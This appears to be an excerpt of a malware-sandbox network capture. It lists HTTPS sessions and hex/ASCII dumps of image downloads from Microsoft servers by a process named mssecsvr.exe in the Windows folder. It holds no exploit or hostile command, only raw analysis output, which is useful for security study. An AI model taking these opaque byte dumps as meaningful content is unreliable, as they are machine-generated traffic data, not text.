2022-07-20 04:06:51 UTC	5156	IN	Data Raw: fa bc ba 67 ea 68 b6 fd b7 79 93 f2 01 16 19 11 5e a8 f7 2d 7f 77 e1 d7 9b 18 93 d2 a9 2b 7c a3 96 dc 43 94 69 2c 5e c6 6e 5b 63 fd df e6 69 9e 76 f7 87 b8 43 d4 cc 8d 72 72 1a 31 56 7a 90 18 06 8d 3a 31 72 74 53 9a fb 2e f8 93 b9 a0 6d be 59 f3 19 3e 60 25 b7 95 0c 69 65 12 36 39 b7 56 7e 5d 67 c3 bd dd cf bd 49 70 6c 14 31 0a ff 00 96 be 1c aa 66 29 cd 4c be c2 7b 7d 9a 08 4a df 96 2c 6a 79 a8 e3 cc 3d ed 31 69 52 3c 65 52 68 6d b5 aa 7d a3 bb db ee b5 ba 99 9d c9 e0 18 d2 be cd 6d ff 00 4e fb 65 0a 5f 3b dd 88 f4 33 d6 ae f7 77 ca a5 d7 5c 58 5a f4 f6 1c d0 f3 16 55 a4 65 54 16 3c 00 d1 a3 26 18 c1 76 e7 5f 6d 0d 2a 35 2b d6 99 01 62 e1 c5 6b 42 38 fd ed 64 72 1e 41 55 3d 9e cd 36 9b af 2d 48 b6 bc 40 f4 52 69 bf 25 4a b0 f4 e9 54 59 bb 95 a8 7a 3c ac Data Ascii: ghy^-w+\|Ci,^n[civCrr1Vz:1rtS.mY>`%ie69V~]gIpl1f)L{}J,jy=1iR<eRhm}mNe_;3w\XZUeT<&v_m*5+bkB8drAU=6-H@Ri%JTYz<
2022-07-20 04:06:51 UTC	5172	IN	Data Raw: 92 1c 80 54 63 c6 18 44 40 3d cb a3 7f 96 f1 4b cd e4 e5 f8 b5 bf 33 d5 32 66 4e b8 33 99 16 e5 1c 11 43 10 dc fd 49 7a b5 49 2c fb cd a4 59 ca ed 19 cb c3 f9 99 71 00 82 80 9b d0 b7 de 66 8d ae 68 fe 37 f7 75 84 9b d4 be 9b 9e 37 b5 3f 37 1b 03 90 80 df 19 41 fc 1f 0f e1 bb f9 bf 16 ff 00 0d 9a 43 e6 3f ed b9 36 b2 c9 82 87 8e 25 ce 37 63 8d f2 f0 d2 fb bd 94 bb 59 1d 24 e8 5d 43 f8 d5 ba 2a f2 69 a6 c9 fc ae 1b db 72 13 25 af 50 18 52 fe 61 fc c5 ff 00 cd a7 b8 38 38 a8 25 8c 22 16 49 fa aa 94 e1 19 e1 d2 b1 7c bd eb bd ed 73 e6 f5 7e 16 e2 ff 00 9e 81 e6 59 11 8d 11 95 4a 80 45 ed 6f 33 3d bc bf 8a cd cb dc d6 5b 1e e9 9b b7 cd 95 33 12 d0 bf 16 00 b1 21 80 8d 9f be bf 8a fd 5b ba 3c bd 3b 39 3b da f2 72 6c 26 31 9f e5 95 17 c3 a7 27 67 a5 91 8f f6 76 Data Ascii: TcD@=K32fN3CIzI,Yqfh7u7?7AC?6%7cY$]C*ir%PRa88%"I\|s~YJEo3=[3![<;9;rl&1'gv
2022-07-20 04:06:51 UTC	5188	IN	Data Raw: 9b 5c a0 ca d8 2f 60 24 7a cd 2d 36 e1 9e 3c 63 37 3a e2 29 5e 0e 3e 5e 62 f5 63 5b 52 b4 b9 8d a3 fe 3a d8 36 7c f8 59 a6 54 20 2d 4d e0 82 29 e2 64 65 3c df 67 54 19 61 65 ab 00 05 69 68 02 81 40 e5 5e 5f 87 5a 23 8b a6 e8 e4 f0 60 6b fd ba d1 1b 0d 05 d8 de ae bb 6d c3 28 2f a9 a5 19 31 36 5d 2c a2 4e 9d b1 50 8a 9e f3 59 77 ff 00 66 da d5 b5 86 c9 ca 48 e9 e2 e6 fa 87 8b 54 79 b2 63 e4 b9 69 50 49 2d b6 ab f1 af d5 dd 6e 67 5f 06 94 e5 24 b8 b1 54 ce 24 91 cd 59 50 10 01 ef 73 b5 16 f7 75 b3 54 96 23 1b 02 df 77 d0 bf 86 a2 48 e4 16 ca e0 b6 87 e1 a6 db 8c 29 b9 49 6c 24 23 54 f0 63 f4 77 79 57 ee eb e3 83 f9 d8 a3 c5 6b 06 42 ad 95 af 02 01 e4 91 ff 00 e5 fe 1b db e1 b3 53 b8 f9 cd 0b de 78 fd 3a a3 53 26 3a a4 b2 8a 17 a5 41 e3 40 c3 ba cb e7 b7 bf Data Ascii: \/`$z-6<c7:)^>^bc[R:6\|YT -M)de<gTaeih@^_Z#`km(/16],NPYwfHTyciPI-ng_$T$YPsuT#wH)Il$#TcwyWkBSx:S&:A@
2022-07-20 04:06:51 UTC	5196	IN	Data Raw: bb ac 3d a3 cd a3 47 b3 85 50 2f 7b c7 54 db ec 4c 2b e5 83 6b 9d 0f a6 9d 62 63 a6 d5 0f e5 18 50 05 34 65 14 32 13 fc 47 6e f7 d9 d6 58 73 c8 15 28 c5 81 26 8a 4f 28 3d d5 6a 68 50 f2 b2 aa 4c 4b 5a 39 49 ed a7 d7 ad 4e ed 8a 84 28 e7 e2 54 fb 07 f8 b4 ea 22 20 02 da 0e 35 e8 a1 da 43 0c 43 30 0d f8 fb 54 cf 2b 67 db b1 52 64 35 ea ba 8b 61 3c 15 4b 7f 1d 64 5f 0c 7f c3 8f c3 e3 bb 50 32 91 14 ad d4 4e 70 dc 29 ed 35 ef 69 e0 91 e4 9d 64 95 cb 49 5a 12 4f 1a 69 56 74 ca d7 ba 8e 31 b9 23 e1 27 9b fb da c4 f9 94 51 ba 06 4e a1 70 7d 62 bc ff 00 cd 7e 5e 8d 07 9a 82 d2 26 5c 4f 52 f8 68 7c 8c 88 9a 33 23 1b 4d 79 45 38 93 fd db 75 57 e9 89 24 48 0b 46 79 8d 4d 0f bc 2d 66 fb 2b a8 36 94 1a 81 47 56 20 80 78 81 f1 77 7e 1d 3e c0 ca 9a 3c 68 d5 18 ad 05 38 Data Ascii: =GP/{TL+kbcP4e2GnXs(&O(=jhPLKZ9IN(T" 5CC0T+gRd5a<Kd_P2Np)5idIZOiVt1#'QNp}b~^&\ORh\|3#MyE8uW$HFyM-f+6GV xw~><h8
2022-07-20 04:06:51 UTC	5212	IN	Data Raw: d9 58 4b bb e3 02 05 aa 2a 50 8e 36 1f 10 4f 72 ee f4 7f 6b bd ad 89 63 c2 e6 10 01 1d 4b e2 af 5a bb 55 4f 31 76 cb 88 b5 a4 8b 4c 24 c7 c3 4a b2 e1 9e 34 e2 b5 a0 24 91 c7 85 7b f4 d6 50 63 c9 24 6b 6d 0b ad 49 a9 02 da 5b 41 c7 bc da 1a 49 72 31 e7 e9 49 ca e0 1e 3f 57 6d de f2 eb ec 8d c7 af d3 1d da 25 a4 0f d3 aa 2c c8 49 37 20 70 b5 01 80 53 60 78 7a 79 75 a6 71 c6 b0 d5 9e 45 af 7a 8b f5 eb e9 22 8e 42 72 15 bb a7 88 fa 78 70 5d 28 c6 73 7a a9 3c b5 a1 d3 6c c5 18 e8 b0 0e f2 d6 ea 7d 27 4d 24 8a 63 b8 d3 1a 2c 60 b9 fa bf ba b5 62 67 00 c6 39 d0 35 7b a4 54 10 6b a0 77 2c 9e 9e 48 9d 5a d7 b2 af 4f bb fa da d6 b2 59 2a b7 d0 6b ad 4f d1 12 3a e4 73 24 ac 63 63 4e 23 c5 1c 91 fb df b5 dc d6 5e e7 73 94 78 b6 a7 2b a9 a5 7e 61 b9 fe 9e 00 e3 af 3c Data Ascii: XKP6OrkcKZUO1vL$J4${Pc$kmI[AIr1I?Wm%,I7 pS`xzyuqEz"Brxp](sz<l}'M$c,`bg95{Tkw,HZOYkO:s$ccN#^sx+~a<
2022-07-20 04:06:51 UTC	5228	IN	Data Raw: 71 ba 2a 61 c0 24 03 9c 28 a5 7e 92 79 75 13 ce 5e 45 06 ec 4f 1b f6 b5 55 10 2c 6d 6d 39 78 d4 ee 13 63 64 e5 4d 1e 4a 97 e9 47 f2 f8 f0 0d 55 ed 1e 25 b6 fd 18 d9 13 43 88 e9 09 b4 b4 66 ef 80 95 ba 9f ab a9 dc 24 92 1c 8c 83 5a f3 05 e3 ed d1 f9 19 2e 66 bc 9a 12 85 7f ab 46 92 2e 70 01 b8 d0 d8 d7 2f 4e b4 46 df 11 b1 56 b6 ac a6 c5 1f 4d 39 d9 be f7 cb d6 4b 0c bb b6 3e 51 dc 1d 9a 54 54 0c 57 bd 48 f9 5a de 16 bd 88 9d df 15 8f ad 33 e5 33 cd 12 e3 48 b0 b4 2a a8 92 3d 2d 56 fe 63 fb b7 e8 ad a6 53 85 89 d7 92 41 d6 12 87 e3 c4 b0 02 45 7b 7c d7 bb db f6 b5 47 0c 17 cc 1d 44 ae 3e 2e af f0 d4 c6 07 4f f6 9e ca b1 18 ca be 8f 48 87 10 98 d7 03 f6 ae bb 53 90 87 5c 48 fa e7 89 17 b9 3f a3 92 bf 0a 5b ab 52 83 17 66 18 b9 6b 63 1c 78 d6 c3 f4 b1 63 66 Data Ascii: qa$(~yu^EOU,mm9xcdMJGU%Cf$Z.fF.p/NFVM9K>QTTWHZ33H=-VcSAE{\|GD>.OHS\H?[Rfkcxcf
2022-07-20 04:06:51 UTC	5236	IN	Data Raw: 93 f8 be 4e 4f 36 9b fa 7f 33 10 34 98 85 02 f5 a2 26 d2 6a 2a 01 b2 df 8f cb a6 cf 84 db 6f a6 a4 97 0e 12 cf 92 54 39 8d 6b 6c 51 8e 4e ad 9c df 39 93 9b fe 66 9c 96 77 b3 6d d5 4a 99 19 70 61 dd 12 75 37 c3 8d 07 6e 4f 5b 35 fa b8 d4 5c ec 25 66 97 8d d7 12 3e 80 39 85 bf 66 ed 58 6e b9 38 f9 7b 2e d5 8b 8f ca f2 72 b2 fd 69 c9 56 f8 9e 5b f5 15 57 48 0a 29 bc 80 cd c3 db 4f 6e 98 ec 45 a4 6c 69 5b 8d a2 bf d9 56 d5 b7 11 06 0a f7 fe 13 16 51 e9 e4 6a 3a 3d 85 c7 6d 74 68 76 fa 04 5e d1 1a 85 07 f4 0d 0b be 44 b8 2f 87 33 70 55 91 99 8f d4 02 b3 69 ee de 81 91 17 e9 00 9f ec d2 df 5d 43 5c 7c 7f 61 63 28 fe d4 d7 9b 8a 52 77 0a 8c 74 39 7e 16 a2 a0 d6 f5 ca 36 64 c8 dc ff 00 33 bc c8 6d 89 1a c4 5f 61 2e dd df b0 bc cf aa 9d c3 e6 16 03 d8 87 fb 40 d6 Data Ascii: NO634&j*oT9klQN9fwmJpau7nO[5\%f>9fXn8{.riV[WH)OnEli[VQj:=mthv^D/3pUi]C\\|ac(Rwt9~6d3m_a.@
2022-07-20 04:06:51 UTC	5252	IN	Data Raw: c7 dd af 73 d8 c5 b6 43 43 43 45 1f da 1c e9 76 34 00 98 1c f0 5a dc 4f c2 3a 8d fb 1a 7d ba 26 3f e4 54 64 33 00 0a 85 28 2b 5a 2f d6 57 cd a1 a5 96 2c 7d be 27 00 b2 32 b2 0a f0 24 31 64 6e 65 ee f2 5f a3 ed e4 1a 68 4e 4e 6f 6a 6d 93 8d b8 d8 00 6a 2f 31 cb 90 fe d6 24 9f eb d1 d8 58 b1 42 57 aa b7 39 e3 db c0 68 ed a7 1a 2c ec f8 cb 42 3a 11 f1 75 b8 f1 fb 7e 1d 5c 2f a6 f6 27 76 9c 89 d5 18 f2 a5 c0 2a f0 fc 3b e8 ce f7 37 8b 5e a7 6d b5 79 a2 06 35 b8 e1 6b f3 56 9c 1f 29 de 6e e1 12 40 0e 04 b2 e5 7c 7a 69 2e df 8d 1a c6 1d 05 aa 4d 68 3b 35 5f 89 85 f9 ad ce 37 ed 56 8d bf 75 b4 34 1b 3c 19 a0 63 ed c4 ab d4 d9 0b fb 41 37 58 b3 56 db b9 bc 6a bd dd 50 fa 72 20 72 e3 2c 39 95 0f fe 16 6b c6 7c f3 6d b9 d9 33 34 cb 8e 41 f0 3d 4a 55 ba 79 aa 9f fb Data Ascii: sCCCEv4ZO:}&?Td3(+Z/W,}'2$1dne_hNNojmj/1$XBW9h,B:u~\/'v*;7^my5kV)n@\|zi.Mh;5_7Vu4<cA7XVjPr r,9k\|m34A=JUy
2022-07-20 04:06:51 UTC	5268	IN	Data Raw: 58 44 69 dd 8e 27 23 ea 2f cb a5 63 c9 e6 50 ba 0b 9d 3d ec ab 56 12 91 a1 5e dd 3d ee 5a 86 83 6e 9f 30 2c f1 10 ed 3e 41 8c a8 ed 0c dc d1 7f eb 73 59 f0 3e 9f 64 e5 0c 8d d5 e1 5e e8 0c ab 4e cb 50 2c 29 f6 79 74 a7 d1 fb b3 e0 64 18 59 6f 8d c1 65 af 86 44 1d 58 65 5f 81 fc 3e 56 7d 7d b4 b1 ff 00 54 72 fc 0a c7 c2 bf a5 75 bd 32 5d 9e fd c5 38 7b af 53 d9 72 4f 0a 73 e9 9c 7f c9 a6 44 ce 39 9d 88 af eb 30 fd 8d 67 39 79 dc b0 25 8d 28 07 e9 3f bd ad c1 84 0a 63 1c 10 13 d8 6b c4 9b 9f 8f c5 a5 32 e6 2c 53 44 ea 4d 7a e8 0f d1 c3 49 2a b4 b2 33 8e 27 fe ca 5e 42 ac 47 a3 fe ca 12 0c b7 c1 c4 9b 29 08 07 bb 1f 0a 9f d6 d6 1b 0e e3 d4 75 92 75 12 50 90 e1 80 21 be 25 6e f6 bc de 71 83 91 1a 38 11 ab 31 65 e2 2d e3 c9 7b 11 67 37 b9 a1 f1 65 8f 18 29 8c Data Ascii: XDi'#/cP=V^=Zn0,>AsY>d^NP,)ytdYoeDXe_>V}}Tru2]8{SrOsD90g9y%(?ck2,SDMzI*3'^BG)uuP!%nq81e-{g7e)
2022-07-20 04:06:51 UTC	5276	IN	Data Raw: 50 c4 02 2a 07 e9 e0 ff 00 7b 4b 6f 20 69 63 c1 74 d5 2f ee 86 56 a7 e3 c4 13 7e d0 40 fe ca 7b ea dc 7e ac 71 e5 28 e4 b8 07 3f 57 1b 2b f0 ea 5a 69 01 48 d1 4d 45 a7 86 aa b6 09 d7 79 c5 93 06 63 cc 63 2b c4 f1 e3 cd 1b af c2 d6 e9 26 66 cf 99 b7 c6 99 72 63 ba 46 a4 06 2d 41 50 79 78 2b 73 7e ae 87 b7 61 1f e4 39 19 21 e5 f6 b2 e9 a0 ed c9 bb 2b 69 63 e8 a2 36 f0 b3 6d bd 17 65 8c 12 d5 76 ec 02 be ef 36 96 e6 66 63 ad 06 31 76 2a 00 bd a8 2b 4f 2c 63 fb fa 3a 57 51 b7 90 9c 05 87 f6 b5 35 76 9d da c6 4b 34 82 e0 86 3a 53 10 4c f1 48 ae a6 ce 84 d9 85 34 87 71 98 ab 37 6a ad 2a 75 f6 3e 74 b0 4a b3 03 42 0d 18 1e 00 a9 e5 75 fb 49 ad 9b 54 0b 34 24 49 dc 69 16 e2 7b 02 8e 63 ac b7 98 e3 25 5e 22 6d 2c c1 41 f2 8e ee 8f 24 e6 46 68 98 69 da 7d 9a d9 9b Data Ascii: P{Ko ict/V~@{~q(?W+ZiHMEycc+&frcF-APyx+s~a9!+ic6mev6fc1v+O,c:WQ5vK4:SLH4q7j*u>tJBuIT4$Ii{c%^"m,A$Fhi}
2022-07-20 04:06:51 UTC	5292	IN	Data Raw: a2 a0 c1 bd c6 ef 57 be ba 48 77 6d 95 d0 0b f2 23 37 c5 f4 82 bc d2 7d 96 8f 5c 12 1c 79 f7 2c 8a 40 95 62 7d 9c 00 f8 8f 87 5d 4f 67 dd 8e e5 bc bf 13 d0 91 9a 8a 7d 8b ff 00 97 5c f2 5d cf 23 66 c9 96 0c 47 a4 69 23 80 a4 02 0d 18 f7 ae d7 b3 ff 00 6e 86 db 07 da 3d ed cb 30 f6 7c ce a5 a4 64 dc 34 e0 bc 56 d4 95 19 74 e4 9d ff 00 8a a8 f7 68 1e 34 8a 47 a5 cc a0 31 1e 65 e5 d2 a0 c7 b5 7d 9a 2f 1b 7a ff 00 5b c3 90 4e 15 66 88 86 01 78 02 0f 7a 8b a5 9d 42 8e 47 b1 85 0e 98 81 1d 4b c2 c2 c0 16 fe ce a5 fb b5 91 e5 95 38 c8 39 bb d6 a6 fb c4 ac 71 21 90 f8 aa 38 7d 3a 5f 95 2d 9b 7c 70 81 c7 a8 5c 9f a8 8b 75 eb e6 75 b0 9b 16 4e 26 36 0c 9f f8 36 b1 78 4c 91 a8 f0 90 3f ab 45 d9 41 22 02 85 47 13 7b f8 7a d6 ae e1 54 29 f5 eb 7a 45 39 24 81 a7 de 9c Data Ascii: WHwm#7}\y,@b}]Og}\]#fGi#n=0\|d4Vth4G1e}/z[NfxzBGK89q!8}:_-\|p\uuN&66xL?EA"G{zT)zE9$
2022-07-20 04:06:51 UTC	5308	IN	Data Raw: 2a 43 89 20 9b 26 5c 86 34 67 56 73 4f a4 9f f1 68 84 21 40 fd 24 e9 56 de cd f3 1e 9c 05 aa 4f de 36 fe ae 8c 69 e9 1b 1f 6e 8b b6 81 83 31 3a 9e 93 ea 55 ac 7d ca b3 49 66 39 1d 35 ac 24 7a f5 38 f6 29 a7 f6 6b 5e 03 58 8a 09 a9 d2 dc 89 c9 89 d8 7d 43 fb 4e 9b 7a 77 0b fd 4d 5d 55 ed 78 d0 b9 14 ed 00 f7 57 de d2 db d0 10 33 13 cb 7d 7d 54 ca c1 78 b1 0b 76 66 b7 f6 2d 50 c3 2a 34 6a 83 bd 5a d7 41 6e f9 83 1c 43 8c 78 3c cd 70 fa a3 5e 5f fd c7 fd 8d 67 b7 66 46 80 c7 30 40 2b 5b 8a f3 01 f1 eb 7f e6 b1 77 49 28 c8 af 14 2c b1 ad c0 56 da da 39 bb dd ee 6e f6 b2 15 31 92 e5 49 51 a9 3f 87 ef 55 c6 3b 62 24 23 32 bc a1 57 c5 e2 fa 77 aa 33 27 32 95 48 fb 2b c7 eb d0 61 cb 9a 93 c7 5d 57 2b fd ba da b7 04 0f 8b 21 c7 90 f0 e0 6a 87 ec 3f 77 ef 6a 67 2f Data Ascii: C &\4gVsOh!@$VO6in1:U}If95$z8)k^X}CNzwM]UxW3}}Txvf-P4jZAnCx<p^_gfF0@+[wI(,V9n1IQ?U;b$#2Ww3'2H+a]W+!j?wjg/
2022-07-20 04:06:51 UTC	5315	IN	Data Raw: d8 3f f4 66 15 c6 7d cc c6 c4 ab c7 dd 46 e7 e8 8f ec 7c 59 53 fb 6d dc 10 dd 51 d4 06 cb 4c bc 54 2f ae 30 d2 30 72 e3 70 86 e5 b9 7e 93 ee fb da e4 79 b9 02 49 09 0d c4 9d 5f fa b7 72 39 ea ff 00 97 8d 99 9d 6d 8a 4a d0 0f 7d 50 f9 ad b6 ed 72 ac ac 2c 8d b6 56 c7 ca 16 ca 87 9b 8d 7f 59 7b da 8f 94 ed da 38 b0 94 da 45 ee 9e ac 68 13 34 4e f7 4b 30 ed b1 ed ad b3 48 c8 4b 57 b6 a0 68 17 6e 3d ba d7 23 96 f6 fb 75 8f 16 e1 ad e4 4c 68 25 14 dc db ea a2 f1 50 b3 0a 1a 13 ed d1 fb a6 31 11 45 18 37 33 b3 53 fa 80 fe f6 87 db e0 af d1 5a eb 76 f9 29 49 97 11 38 3c 6a 6b c7 cd cd c3 ec db a1 02 5a 70 17 d6 4d 2c a4 79 a0 2a e5 6d 58 d2 89 ed 80 18 23 6b 8f 8d 87 b4 8f 0a fb 9a d4 91 d4 f6 eb 18 56 a7 8e 8a 09 4a 1d 34 5b 1d 2f 4c 68 ba f6 56 71 02 c2 95 d1 Data Ascii: ?f}F\|YSmQLT/00rp~yI_r9mJ}Pr,VY{8Eh4NK0HKWhn=#uLh%P1E73SZv)I8<jkZpM,y*mX#kVJ4[/LhVq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49725	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:47 UTC	58	OUT	GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:47 UTC	72	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 3667 Content-Type: image/png Last-Modified: Wed, 04 Mar 2020 18:13:09 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QjFCNTg1NkE" MS-CV: RzU3JcDdukKYyaz4.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:47 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:47 UTC	72	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 0e 1a 49 44 41 54 78 5e ed 9d 5f 88 24 57 15 c6 cf a9 ee 99 64 66 a3 6e 36 f8 26 91 68 20 28 11 9f 44 25 a8 80 88 40 80 e0 93 04 7c 11 51 c1 17 ff 83 a8 82 18 41 81 18 50 51 21 82 90 27 41 7c 11 88 08 18 44 21 1a 14 9f 22 c1 b8 06 5f 44 65 d7 dd c5 75 77 76 67 a6 fb 7e 5a bd b7 f9 e8 7b b8 9c 99 a2 6b a6 ab e6 7c 70 b9 a7 aa 86 ee 9e ee 5f 7f e7 dc 7b ab aa 15 80 1c 57 a1 50 23 ae 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 4d 65 04 52 55 95 01 0a 00 64 a0 52 00 01 46 80 d5 37 38 01 4a 80 44 Data Ascii: PNGIHDR0IDATx^_$Wdfn6&h (D%@\|QAPQ!'A\|D!"_Deuwvg~Z{k\|p_{WP#B'PpB'PpB'PpB'PpB'PMeRUdRF78JD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	50661	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:50 UTC	1222	OUT	GET /cms/api/am/imageFileData/RE4Fdp9?ver=a4af HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 04:06:50 UTC	1223	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Fdp9?ver=a4af Last-Modified: Sat, 16 Jul 2022 19:23:12 GMT X-Source-Length: 470283 X-Datacenter: northeu X-ActivityId: c7f4eefa-8bc7-43f0-8fa9-38e0a031caea Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 470283 Cache-Control: public, max-age=141342 Expires: Thu, 21 Jul 2022 19:22:32 GMT Date: Wed, 20 Jul 2022 04:06:50 GMT Connection: close
2022-07-20 04:06:50 UTC	1224	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 04:06:50 UTC	1271	IN	Data Raw: 7e 6a bb 21 91 77 fc a0 ab e0 32 91 fa 53 ac e2 92 d6 de 38 88 2e a8 48 32 1e a7 d3 8f 6a 82 1b b8 6d 72 83 39 62 0e ce 7f 9f 4c 54 df 68 b9 91 88 47 29 1b 10 5a 3c 8c 1c 74 3e bc 51 ea 3e 8f 94 92 58 e4 46 d8 d1 8f 2d d7 3b b3 f3 06 f6 c7 b7 5a 8c c5 2a 3c 61 04 6e 3b 86 5c 82 00 e7 8a 7a c1 73 25 ce 5e 58 fe cc 50 87 8f 1c 96 ec ca dc 63 1d f8 a9 83 88 99 0c 9f 3a 11 d5 7a e3 d4 0c fe 74 da d0 94 ec f5 28 cf 23 e9 f2 40 a2 dd 84 2c 36 b1 5c 62 21 d4 13 e8 29 b3 43 04 e4 4f 13 f9 92 64 4b 1a 93 94 52 06 33 f8 d4 ad 1b 5c 49 f3 8e 19 40 c0 3d b9 eb 52 c5 65 1d bc 6e 98 5c a8 c0 38 03 1e d4 5d a4 92 1e 97 e6 91 5e e2 07 bc b5 88 da c8 6d 37 e1 b2 a4 9e 73 c8 a3 ec 51 b3 15 9b 2f 10 3b 94 1e b9 ee 6a d3 bc 68 d9 57 00 9f e1 07 bd 47 f6 8c fa 79 80 e4 e7 b0 Data Ascii: ~j!w2S8.H2jmr9bLThG)Z<t>Q>XF-;Z*<an;\zs%^XPc:zt(#@,6\b!)COdKR3\I@=Ren\8]^m7sQ/;jhWGy
2022-07-20 04:06:50 UTC	1287	IN	Data Raw: 9a cf 27 9f 26 f9 7e 66 f6 5a 25 89 ad 3e b6 3a 69 52 c1 e1 e3 cb 4a 8a fc 59 f2 36 95 fb 22 4d 67 7f 11 bb bc 57 62 bc 88 41 38 71 ce 06 47 e7 5d 2d f7 c0 2b bd 31 ac a7 d3 23 b4 28 08 47 37 2a 58 12 78 23 18 3f 2f e2 39 af 7e b9 ba 16 17 30 30 2d b6 56 39 c9 19 04 ff 00 fa ea ec 33 2f d8 6e 60 89 0b ba a9 5f 53 93 cf 7e f5 ca dc e6 ee d9 d9 f5 9a 71 5e ed 34 7c 5f ac fc 3d b8 f0 c5 e5 dd ec 17 77 1b a2 9b f7 b6 d0 c2 16 1d b9 cb 21 23 9c 11 d0 62 b6 21 74 97 ca 58 d0 79 27 0e b1 a9 1b c6 ec 13 f5 c7 6c d7 d0 33 f8 26 2d 1b c3 da a1 92 26 d4 26 b8 57 23 cc 39 06 42 a7 19 cf 4e 78 af 95 86 b1 75 65 a9 3a 5d 41 1d bb c2 fb 0f 96 70 57 07 04 63 3d a9 6b 6d 4e 6a fc bc ca 51 5f e4 7a 1b eb 9a 77 87 e1 4b bb 6b 32 23 2e 41 dc 02 bb 02 3e 6f 9b b7 b5 72 7e 2c Data Ascii: '&~fZ%>:iRJY6"MgWbA8qG]-+1#(G7*Xx#?/9~00-V93/n`_S~q^4\|_=w!#b!tXy'l3&-&&W#9BNxue:]ApWc=kmNjQ_zwKk2#.A>or~,
2022-07-20 04:06:50 UTC	1326	IN	Data Raw: 9a f9 bc 5e 3b db a7 08 e9 6e c7 da e0 f0 11 c1 3e 66 ee fc ec 54 d2 c2 fd a2 30 96 f0 c1 9c 16 53 18 c9 6c 7a d5 ab 89 e6 32 04 42 a5 7a b2 b1 fb df 97 14 b6 56 cd 35 e3 cd 24 7e 50 5e 80 8c 02 4d 38 ef b9 b9 c2 47 bd d5 b9 da 39 af 19 6c 7a 72 93 9b bc 8d d8 15 13 90 8a 0e 07 20 60 8c 8e fe b5 30 7d af b9 f1 f3 1c 70 3d fb d5 2b 14 92 3c 17 e5 b0 00 1e e3 bd 58 fd e3 a9 ca 0c 8c 92 3b 56 e8 e5 92 d4 1a 51 0a 02 c0 21 63 8c 8f 63 de 94 26 f5 c9 01 0f 50 31 c1 fa d3 3c f0 e8 01 65 91 c1 e8 7a 7b 7e 35 32 65 b0 73 bd 9b f3 a0 9b 12 ab 12 d8 04 03 8c 90 48 c5 49 6f 72 ed 6c 05 c2 ac 13 65 83 2a be e0 46 7e 53 9f 71 50 6d da 85 82 60 91 9e 07 e7 4e 8c 11 f3 28 0e a0 60 93 db d6 9a 62 6b b1 63 6a a3 02 46 7f a7 d2 98 8b bf 20 be 01 e8 cd d3 af ad 24 77 22 25 Data Ascii: ^;n>fT0Slz2BzV5$~P^M8G9lzr `0}p=+<X;VQ!cc&P1<ez{~52esHIorle*F~SqPm`N(`bkcjF $w"%
